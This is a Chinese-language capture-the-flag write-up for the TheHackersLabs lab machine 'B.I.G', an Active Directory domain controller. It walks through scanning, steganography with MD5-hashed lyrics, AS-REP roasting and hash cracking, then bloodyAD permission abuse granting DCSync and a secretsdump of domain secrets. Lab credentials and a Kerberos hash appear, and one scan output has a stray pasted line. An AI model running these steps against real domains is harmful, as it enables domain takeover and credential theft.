B.I.G

https://labs.thehackerslabs.com/machine/6

Recon

Port scan

使用 nmap 对端口进行扫描

➜  BIG nmap -sT -min-rate 10000 -p- 192.168.212.4
Starting Nmap 7.95 ( https://nmap.org ) at 2025-07-18 15:47 CST
Warning: 192.168.212.4 giving up on port because retransmission cap hit (10).
Strange read error from 192.168.212.4 (104 - 'Connection reset by peer')
Nmap scan report for 192.168.212.4
Host is up (0.00037s latency).
Not shown: 64855 closed tcp ports (conn-refused), 655 filtered tcp ports (no-response)
PORT      STATE SERVICE
53/tcp    open  domain
80/tcp    open  http
88/tcp    open  kerberos-sec
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
389/tcp   open  ldap
445/tcp   open  microsoft-ds
464/tcp   open  kpasswd5
593/tcp   open  http-rpc-epmap
636/tcp   open  ldapssl
3268/tcp  open  globalcatLDAP
3269/tcp  open  globalcatLDAPssl
5985/tcp  open  wsman
9389/tcp  open  adws
47001/tcp open  winrm
49664/tcp open  unknown
49665/tcp open  unknown
49666/tcp open  unknown
49667/tcp open  unknown
49669/tcp open  unknown
49670/tcp open  unknown
49671/tcp open  unknown
49673/tcp open  unknown
49676/tcp open  unknown
49686/tcp open  unknown
MAC Address: 08:00:27:FA:B6:62 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 26.20 seconds

➜  BIG nmap -sT -A -p $(cat port | awk -F '/' '{print $1}' | paste -sd ',') 192.168.212.4
PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Simple DNS Plus
80/tcp    open  http          Microsoft IIS httpd 10.0
| http-methods:
|_  Potentially risky methods: TRACE
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: Microsoft-IIS/10.0
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2025-07-18 23:51:41Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active D➜  BIG smbclient -L 192.168.212.4 -U anonymous                                 
Password for [WORKGROUP\anonymous]:
session setup failed: NT_STATUS_LOGON_FAILURE464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: bbr.thl, Site: Default-First-Site-Name)
3269/tcp  open  tcpwrapped
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
9389/tcp  open  mc-nmf        .NET Message Framing
47001/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
49664/tcp open  msrpc         Microsoft Windows RPC
49665/tcp open  msrpc         Microsoft Windows RPC
49666/tcp open  msrpc         Microsoft Windows RPC
49667/tcp open  msrpc         Microsoft Windows RPC
49669/tcp open  msrpc         Microsoft Windows RPC
49670/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
49671/tcp open  msrpc         Microsoft Windows RPC
49673/tcp open  msrpc         Microsoft Windows RPC
49676/tcp open  msrpc         Microsoft Windows RPC
49686/tcp open  msrpc         Microsoft Windows RPC
MAC Address: 08:00:27:FA:B6:62 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Microsoft Windows 2016|2019
OS CPE: cpe:/o:microsoft:windows_server_2016 cpe:/o:microsoft:windows_server_2019
OS details: Microsoft Windows Server 2016 or Server 2019
Network Distance: 1 hop
Service Info: Host: BIG; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-time:
|   date: 2025-07-18T23:52:36
|_  start_date: 2025-07-18T23:44:01
|_nbstat: NetBIOS name: BIG, NetBIOS user: <unknown>, NetBIOS MAC: 08:00:27:fa:b6:62 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
|_clock-skew: 15h59m55s
| smb2-security-mode:
|   3:1:1:
|_    Message signing enabled and required

TRACEROUTE
HOP RTT     ADDRESS
1   0.53 ms 192.168.212.4

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 83.13 seconds

枚举测试

SMB 匿名账户测试

➜  BIG smbclient -L 192.168.212.4 -U anonymous                                 
Password for [WORKGROUP\anonymous]:
session setup failed: NT_STATUS_LOGON_FAILURE

WEB

目录扫描

HTTP 服务

两段歌词的来源

I keep it music music, I eat that lunch (Yeah)

来源: 这句歌词出自 Travis Scott 2023年专辑《UTOPIA》中的大热单曲 《FE!N》，是客串的歌手 Playboi Carti 的部分。

含义解析: 这句歌词是典型的Playboi Carti风格，用极简但充满态度的语言来表达自己的状态。

I keep it music music: 这句话的意思是“我的世界里只有音乐，我一直专注于音乐”。他用重复的“music music”来强调自己完全沉浸在创作和音乐的氛围中，这是他生活的核心和全部重心。这是一种对自己艺术家身份的强调。

I eat that lunch: 这是一句非常形象的俚语，意思是**“我轻松搞定一切”、“我把竞争对手都干掉了”**。想象一下，吃午餐是一件多么轻松日常的事情。他用这个比喻来表示他在说唱游戏（Rap Game）中游刃有余，把击败对手、取得成功看得像吃午饭一样简单。这是一种极度自信和傲慢的炫耀（Bragging）。

It was all a dream

它是一个文化符号，是嘻哈历史上最经典、最标志性的开场白之一。

来源: 这句歌词出自传奇说唱歌手 The Notorious B.I.G. (又名 Biggie Smalls) 在1994年发布的歌曲 《Juicy》。这首歌是他的首张专辑《Ready to Die》中的主打单曲，也是他的成名作。

原文和背景: 完整的开场是：

"It was all a dream, I used to read Word Up! magazine Salt-n-Pepa and Heavy D up in the limousine"

对网站目录爆破

➜  BIG feroxbuster --url http://192.168.212.4 -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-medium.txt --filter-status 404,503,400 -x php,zip,txt
                                                                                                    
 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓                 ver: 2.11.0
───────────────────────────┬──────────────────────
 🎯  Target Url            │ http://192.168.212.4
 🚀  Threads               │ 50
 📖  Wordlist              │ /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-medium.txt
 💢  Status Code Filters   │ [404, 503, 400]
 💥  Timeout (secs)        │ 7
 🦡  User-Agent            │ feroxbuster/2.11.0
 💉  Config File           │ /etc/feroxbuster/ferox-config.toml
 🔎  Extract Links         │ true
 💲  Extensions            │ [php, zip, txt]
 🏁  HTTP methods          │ [GET]
 🔃  Recursion Depth       │ 4
───────────────────────────┴──────────────────────
 🏁  Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
404      GET       29l       95w     1245c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
301      GET        2l       10w      151c http://192.168.212.4/images => http://192.168.212.4/images/
200      GET       21l       41w      435c http://192.168.212.4/
301      GET        2l       10w      153c http://192.168.212.4/contents => http://192.168.212.4/contents/
[>-------------------] - 5s     48285/2491564 5m      found:3       errors:0      
301      GET        2l       10w      150c http://192.168.212.4/songs => http://192.168.212.4/songs/
200      GET        5l       22w      112c http://192.168.212.4/contents/notify.txt
200      GET       74l      667w     3350c http://192.168.212.4/songs/juicy.txt
200      GET      396l     2780w   362382c http://192.168.212.4/images/big4.jpg
200      GET      396l     2780w   362232c http://192.168.212.4/images/big2.jpg
[####################] - 8m   3322088/3322088 0s      found:6       errors:0      
[####################] - 8m    830516/830516  1683/s  http://192.168.212.4/ 
[####################] - 8m    830516/830516  1676/s  http://192.168.212.4/images/ 
[####################] - 8m    830516/830516  1676/s  http://192.168.212.4/contents/ 
[####################] - 8m    830516/830516  1684/s  http://192.168.212.4/songs/

Skyisthelimit.txt 还是一个字典

图片隐写

这一部分看了一下 write-up

notify.txt

“你到底雇了哪个该死的家伙来做这个网站！” “又把密钥用 MD5 藏起来！” “我要炒了那个家伙”

那么密码可能是 music 的 MD5 值

➜  BIG echo -n "music" | md5sum                                                 
18d6769919266cd0bd6cd78aa405d5d0  -

那么要在哪里使用密码？藏起来感觉是MISC了

我们将 images/big.jpg 图片下载下来，使用 steghide 来导出数据

➜  BIG steghide extract -sf big1.jpg
Enter passphrase: 
steghide: could not extract any data with that passphrase!
➜  BIG steghide extract -sf big2.jpg
Enter passphrase: 
steghide: could not extract any data with that passphrase!
➜  BIG steghide extract -sf big3.jpg
Enter passphrase: 
steghide: could not extract any data with that passphrase!
➜  BIG steghide extract -sf big4.jpg
Enter passphrase: 
steghide: could not extract any data with that passphrase!

但是密码不对，主页中还有几段歌词，我们尝试一下

➜  BIG echo -n "I keep it music music" | md5sum
a6002952ffda89154a38a248280093d2  -
➜  BIG echo -n "I eat that lunch (Yeah)" | md5sum
d2b5f22e80f680d9660a1d3ab81232fd  -
➜  BIG echo -n "It was all a dream" | md5sum
99ae77c0c0faf78b872f9f452e3eaa24  -

能得到一个文件 frase.txt ，使用 MD5 99ae77c0c0faf78b872f9f452e3eaa24

➜  BIG steghide extract -sf big2.jpg            
Enter passphrase: 
steghide: could not extract any data with that passphrase!
➜  BIG steghide extract -sf big2.jpg
Enter passphrase: 
steghide: could not extract any data with that passphrase!
➜  BIG steghide extract -sf big2.jpg
Enter passphrase: 
wrote extracted data to "frase.txt".
➜  BIG steghide extract -sf big3.jpg
Enter passphrase: 
steghide: could not extract any data with that passphrase!
➜  BIG steghide extract -sf big3.jpg
Enter passphrase: 
steghide: could not extract any data with that passphrase!
➜  BIG steghide extract -sf big3.jpg
Enter passphrase: 
steghide: could not extract any data with that passphrase!
➜  BIG steghide extract -sf big4.jpg  
Enter passphrase: 
steghide: could not extract any data with that passphrase!
➜  BIG steghide extract -sf big4.jpg
Enter passphrase: 
steghide: could not extract any data with that passphrase!
➜  BIG steghide extract -sf big4.jpg
Enter passphrase: 
steghide: could not extract any data with that passphrase!

里边是个密码

➜  BIG cat frase.txt           
Bigpoppa1972

声名狼藉先生（The Notorious B.I.G.，1972年5月21日——1997年3月9日）

枚举用户名

有了密码，但是不知道的用在哪

根据前面得到的信息，music 或者 Juice也可能是用户名

Who the hell did you hire to create the website!
Hiding keys in MD5 again!
I'm going to fire that guy

music

测试凭据

➜  ~ nxc smb 192.168.212.4 -u music -p Bigpoppa1972                    
SMB         192.168.212.4   445    BIG              [*] Windows 10 / Server 2016 Build 14393 x64 (name:BIG) (domain:bbr.thl) (signing:True) (SMBv1:False) 
SMB         192.168.212.4   445    BIG              [+] bbr.thl\music:Bigpoppa1972 

➜  ~ nxc wmi 192.168.212.4 -u music -p Bigpoppa1972
RPC         192.168.212.4   135    BIG              [*] Windows 10 / Server 2016 Build 14393 (name:BIG) (domain:bbr.thl)
RPC         192.168.212.4   135    BIG              [+] bbr.thl\music:Bigpoppa1972 

➜  ~ nxc ldap 192.168.212.4 -u music -p Bigpoppa1972
LDAP        192.168.212.4   389    BIG              [*] Windows 10 / Server 2016 Build 14393 (name:BIG) (domain:bbr.thl)
LDAP        192.168.212.4   389    BIG              [+] bbr.thl\music:Bigpoppa1972

远程登录，进去是TEMP用户

当前目录下可以拿到 user.txt

*Evil-WinRM* PS C:\Users\music\Documents> type user.txt
53bxxxxxxxxxxxxxxxxxxx

域分析

收集信息

➜  ~ bloodhound-python -d 'bbr.thl' -ns 192.168.212.4 --zip -c All -dc 'BIG.bbr.thl' -u music -p Bigpoppa1972
INFO: BloodHound.py for BloodHound LEGACY (BloodHound 4.2 and 4.3)
INFO: Found AD domain: bbr.thl
INFO: Getting TGT for user
WARNING: Failed to get Kerberos TGT. Falling back to NTLM authentication. Error: Kerberos SessionError: KRB_AP_ERR_SKEW(Clock skew too great)
INFO: Connecting to LDAP server: BIG.bbr.thl
INFO: Found 1 domains
INFO: Found 1 domains in the forest
INFO: Found 1 computers
INFO: Connecting to LDAP server: BIG.bbr.thl
INFO: Found 7 users
INFO: Found 57 groups
INFO: Found 2 gpos
INFO: Found 1 ous
INFO: Found 19 containers
INFO: Found 0 trusts
INFO: Starting computer enumeration with 10 workers
INFO: Querying computer: BIG.bbr.thl
INFO: Done in 00M 01S
INFO: Compressing output into 20250718165617_bloodhound.zip

用户组信息

很明显，目标用户是SONG

通过 BLoodhound 可以看到可以用 AS-REP 来打

AS_REP Roasting

➜BIG GetNPUsers.py -dc-ip 192.168.212.4 bbr.thl/ -usersfile users
  import pkg_resources
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
  now = datetime.datetime.utcnow() + datetime.timedelta(days=1)
$krb5asrep$23$song@BBR.THL:6d769bdfb04e89789dae27e05b47a393$cde1b6fd59270bc8bfd31470ea4d007ac3fe3750ad8d54b6ec2a63e75495569286eb887787747eeb57c690dfacfb3c913823b0c539ce23ddba0fdbc6bacae8f19530
cb25f73664a3feafd432ee89e6b56fd6ace082c511a5041b79ef1c8c836b8b3636dca11ed49ff2c372cbf0dd06b184a2575656d41440d7c16e58e8262c3c5a30627c467f84e4dcc83ee19e235bd6168c8abd780d6927f7315a1e16b46cf6570e
ba13b09664cd2cac4a2478c4e67e75d5335a7b61260f79d553d76e96b24ea282d78977e449b130c405a4c2de4c42930f958c8616debbce85dde09896ba30b352

使用 hashcat 破解，使用上面的的字典

➜  BIG hashcat -m 18200 hash Skyisthelimit.txt

得到密码 Passwordsave@

测试凭据

➜  BIG nxc smb 192.168.212.4 -u song -p Passwordsave@ 
SMB         192.168.212.4   445    BIG              [*] Windows 10 / Server 2016 Build 14393 x64 (name:BIG) (domain:bbr.thl) (signing:True) (SMBv1:False) 
SMB         192.168.212.4   445    BIG              [+] bbr.thl\song:Passwordsave@

权限提升

寻找利用链，重新获取一下数据

bloodhound-python -d 'bbr.thl' -ns 192.168.212.4 --zip -c All -dc 'BIG.bbr.thl' -u song -p Passwordsave@

链子 1 ❌

将 Song 添加 SPECIAL PERMISSIONS

$SecPassword = ConvertTo-SecureString 'Passwordsave@' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('bbr\song', $SecPassword)
Add-DomainGroupMember -Identity 'SPECIAL PERMISSIONS' -Members 'song' -Credential $Cred

DACL 滥用，赋予自己拥有users的所有权限

➜  BIG bloodyAD -d 'bbr.thl' -u song -p 'Passwordsave@' --dc-ip 192.168.212.4 add genericAll 'CN=USERS,DC=BBR,DC=THL' song
[+] song has now GenericAll on CN=USERS,DC=BBR,DC=THL

修改administrator密码，失败，因为administrator 是保护用户，不能直接修改密码

链子 2

我们直接控制域

➜  BIG bloodyAD -d 'bbr.thl' -u song -p 'Passwordsave@' --dc-ip 192.168.212.4 add genericAll 'DC=BBR,DC=THL' song                             
[+] song has now GenericAll on DC=BBR,DC=THL

再添加一个Dcsync权限给自己

➜  BIG bloodyAD -d 'bbr.thl' -u song -p 'Passwordsave@' --dc-ip 192.168.212.4 add dcsync song
[+] song is now able to DCSync

Dcsync，使用 secretsdump

secretsdump.py bbr.thl/song:'Passwordsave@'@192.168.212.4 -dc-ip 192.168.212.4

读取 root.txt

*Evil-WinRM* PS C:\Users\Administrator\Documents> cat root.txt
8e8xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx

总结

难点在Web上，一时半会写不出来

但是拿到user后就很简单了，一把梭哈

TheHackersLabs - B.I.G